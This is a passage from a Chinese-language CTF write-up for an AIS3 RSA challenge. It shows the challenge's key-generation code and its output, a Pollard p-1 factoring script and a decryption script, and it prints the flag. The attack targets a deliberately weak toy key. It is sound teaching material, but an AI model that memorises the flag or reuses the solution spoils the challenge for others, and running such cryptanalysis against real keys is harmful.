            check |= 2
            q = a - offset
        if check == 3:
            return p, q


def main():
    wi = get_william_prime()
    po = get_pollard_prime()
    fp, fq = get_fermat_prime()

    n = wi * po * po * fp * fq
    e = 0x10001
    m = int.from_bytes(open('flag.txt').read().strip().encode())
    c = pow(m, e, n)

    print(f'n = {n}')
    print(f'e = {e}')
    print(f'c = {c}')

main()

output.txt

1
2
3
n = 60763718988363732014714378240503239363378716344786064427633103900163714795049031343530976333384849092574531088958278531796791269274033045247468279778697834271056697703384043345478274417830331218076647357163447985776813989427400170525437678547826499412542686651017218028970864190216904615610527825259880112714553787804820022215890969437398474372702507063412690704689550295715710210726663486141414839866746195390190050689478793788994971113120247044980308444816728343285377217719743417243597984030508281943509471779819738142587401185391525828957277332050173790712364630350364573645269670566599757124924556318618780988680189777327076706459707684684212592008631793816662912108065408593909988525347442925181041282276218509071711541277729368738735764243654195687411950100527148736266697290008653570361567103718692686950265823409008150425223699459852898223162147029064447737730602794595138107108115161225211304281588196101442541064849330085624077639919266218475926019026834286095322529307797803560019118617515335223076631003247439277523058831709125266949216817874124236017467949448675716346763692924023726148784017135614973119630683596746148387050812840110466838283975867125038922845823807931521243892970213719547931807222621641732942788807438874234021460457789662655868012096318135427733535828701239344723536380874649435986485519446498010249439129416294059581506089078379364874801633348823482500982032017362540718382857218498839339
e = 65537
c = 44207030878602255093439727713627529424714536888513933329918295258695649333115968449370359700222302579245312436480617326596647245058051575370999951904443151550015706074625370328401332779076604686192843031449186235749865643368166253840337277509707994397801878226500358006463024635087435969538998524734582405866525600851546459050191793239073846810455635211879914050737467404026533874103858418973673243458902849516794733035491504110489194944517745006206578407001620379259037944572489812890427482523341875844231406658507757087786915450447369790738422106207343811320979464959215733209780327553156828306906699830103249980426322575134388451893085145613033052707119244509600245343514769051601842478130345500737780120982516001378114355893400613318479527209307727381442878249151936468300312623822839419034585228514262658066842576813177085447513589259064467260172762603680019928473807935131716584215553191881403885379486263800885157417935351355285318307493812608156009093176418157547185476076384813081081655591478637089927732990897838102722736056096469961634469383933144558941569830176969764313728115821455037916103169727305546266609284138398242237907130652437778206322442252293263897704265426827967602427841795290642868172013365981708186335407114033847578653977681421086305327283866009608036787400010585809721949312065234506464271259806098824737010873785025492695022775753403396509548322949271103192949782516909378429902333959165240991

exploit

我先找出factor

我是用pollard p-1 去分解
算法大概長這樣

image
source：維基百科
https://en.wikipedia.org/wiki/Pollard's_p_−_1_algorithm

算factor的exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import math
from gmpy2 import gcd, powmod

def pollard_p_minus_1(n, B=100000):
    a = 2
    # 計算階段積 M = lcm(1..B) 的次方（用質數冪次方式實作）
    for j in range(2, B+1):
        a = powmod(a, j, n)
    d = gcd(a-1, n)
    if 1 < d < n:
        return d
    return None

if __name__ == "__main__":
    n = 60763718988363732014714378240503239363378716344786064427633103900163714795049031343530976333384849092574531088958278531796791269274033045247468279778697834271056697703384043345478274417830331218076647357163447985776813989427400170525437678547826499412542686651017218028970864190216904615610527825259880112714553787804820022215890969437398474372702507063412690704689550295715710210726663486141414839866746195390190050689478793788994971113120247044980308444816728343285377217719743417243597984030508281943509471779819738142587401185391525828957277332050173790712364630350364573645269670566599757124924556318618780988680189777327076706459707684684212592008631793816662912108065408593909988525347442925181041282276218509071711541277729368738735764243654195687411950100527148736266697290008653570361567103718692686950265823409008150425223699459852898223162147029064447737730602794595138107108115161225211304281588196101442541064849330085624077639919266218475926019026834286095322529307797803560019118617515335223076631003247439277523058831709125266949216817874124236017467949448675716346763692924023726148784017135614973119630683596746148387050812840110466838283975867125038922845823807931521243892970213719547931807222621641732942788807438874234021460457789662655868012096318135427733535828701239344723536380874649435986485519446498010249439129416294059581506089078379364874801633348823482500982032017362540718382857218498839339
    e = 65537
    c = 44207030878602255093439727713627529424714536888513933329918295258695649333115968449370359700222302579245312436480617326596647245058051575370999951904443151550015706074625370328401332779076604686192843031449186235749865643368166253840337277509707994397801878226500358006463024635087435969538998524734582405866525600851546459050191793239073846810455635211879914050737467404026533874103858418973673243458902849516794733035491504110489194944517745006206578407001620379259037944572489812890427482523341875844231406658507757087786915450447369790738422106207343811320979464959215733209780327553156828306906699830103249980426322575134388451893085145613033052707119244509600245343514769051601842478130345500737780120982516001378114355893400613318479527209307727381442878249151936468300312623822839419034585228514262658066842576813177085447513589259064467260172762603680019928473807935131716584215553191881403885379486263800885157417935351355285318307493812608156009093176418157547185476076384813081081655591478637089927732990897838102722736056096469961634469383933144558941569830176969764313728115821455037916103169727305546266609284138398242237907130652437778206322442252293263897704265426827967602427841795290642868172013365981708186335407114033847578653977681421086305327283866009608036787400010585809721949312065234506464271259806098824737010873785025492695022775753403396509548322949271103192949782516909378429902333959165240991

    factor = pollard_p_minus_1(n, B=100000)
    if factor:
        print(f"Found factor: {factor}")
        print(f"Other factor: {n // factor}")
    else:
        print("No factor found")

找到factor後去decrypt

d≡e−1(mod(p−1))d≡e^−1(mod(p−1))
m≡cdmod   pm≡c^d \mod\ p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
from gmpy2 import mpz, is_prime, gcd, invert, powmod
from Crypto.Util.number import long_to_bytes


# === 題目給的 n / e / c ===
n = mpz("""60763718988363732014714378240503239363378716344786064427633103900163714795049031343530976333384849092574531088958278531796791269274033045247468279778697834271056697703384043345478274417830331218076647357163447985776813989427400170525437678547826499412542686651017218028970864190216904615610527825259880112714553787804820022215890969437398474372702507063412690704689550295715710210726663486141414839866746195390190050689478793788994971113120247044980308444816728343285377217719743417243597984030508281943509471779819738142587401185391525828957277332050173790712364630350364573645269670566599757124924556318618780988680189777327076706459707684684212592008631793816662912108065408593909988525347442925181041282276218509071711541277729368738735764243654195687411950100527148736266697290008653570361567103718692686950265823409008150425223699459852898223162147029064447737730602794595138107108115161225211304281588196101442541064849330085624077639919266218475926019026834286095322529307797803560019118617515335223076631003247439277523058831709125266949216817874124236017467949448675716346763692924023726148784017135614973119630683596746148387050812840110466838283975867125038922845823807931521243892970213719547931807222621641732942788807438874234021460457789662655868012096318135427733535828701239344723536380874649435986485519446498010249439129416294059581506089078379364874801633348823482500982032017362540718382857218498839339""")
e = mpz(65537)
c = mpz("""44207030878602255093439727713627529424714536888513933329918295258695649333115968449370359700222302579245312436480617326596647245058051575370999951904443151550015706074625370328401332779076604686192843031449186235749865643368166253840337277509707994397801878226500358006463024635087435969538998524734582405866525600851546459050191793239073846810455635211879914050737467404026533874103858418973673243458902849516794733035491504110489194944517745006206578407001620379259037944572489812890427482523341875844231406658507757087786915450447369790738422106207343811320979464959215733209780327553156828306906699830103249980426322575134388451893085145613033052707119244509600245343514769051601842478130345500737780120982516001378114355893400613318479527209307727381442878249151936468300312623822839419034585228514262658066842576813177085447513589259064467260172762603680019928473807935131716584215553191881403885379486263800885157417935351355285318307493812608156009093176418157547185476076384813081081655591478637089927732990897838102722736056096469961634469383933144558941569830176969764313728115821455037916103169727305546266609284138398242237907130652437778206322442252293263897704265426827967602427841795290642868172013365981708186335407114033847578653977681421086305327283866009608036787400010585809721949312065234506464271259806098824737010873785025492695022775753403396509548322949271103192949782516909378429902333959165240991""")

# === 你找到的質因數 p（完整） ===
p = mpz("""37021275572790082192379533288704688535293473545958385025549690675904471573219980209972828244025329762230759053863199755658020475141048058736510710680444844461116108035174159013570815934305537913272505253121747245324932852742564134158131504996633322520519431558100438167""")

d = pow(e, -1, p-1)
m = pow(c, d, p)

flag = long_to_bytes(int(m))

print(flag.decode())

Flag: AIS3{H@ppY_#ap9y_CRypT0_F4(7or1n&~~~}

附上排名
image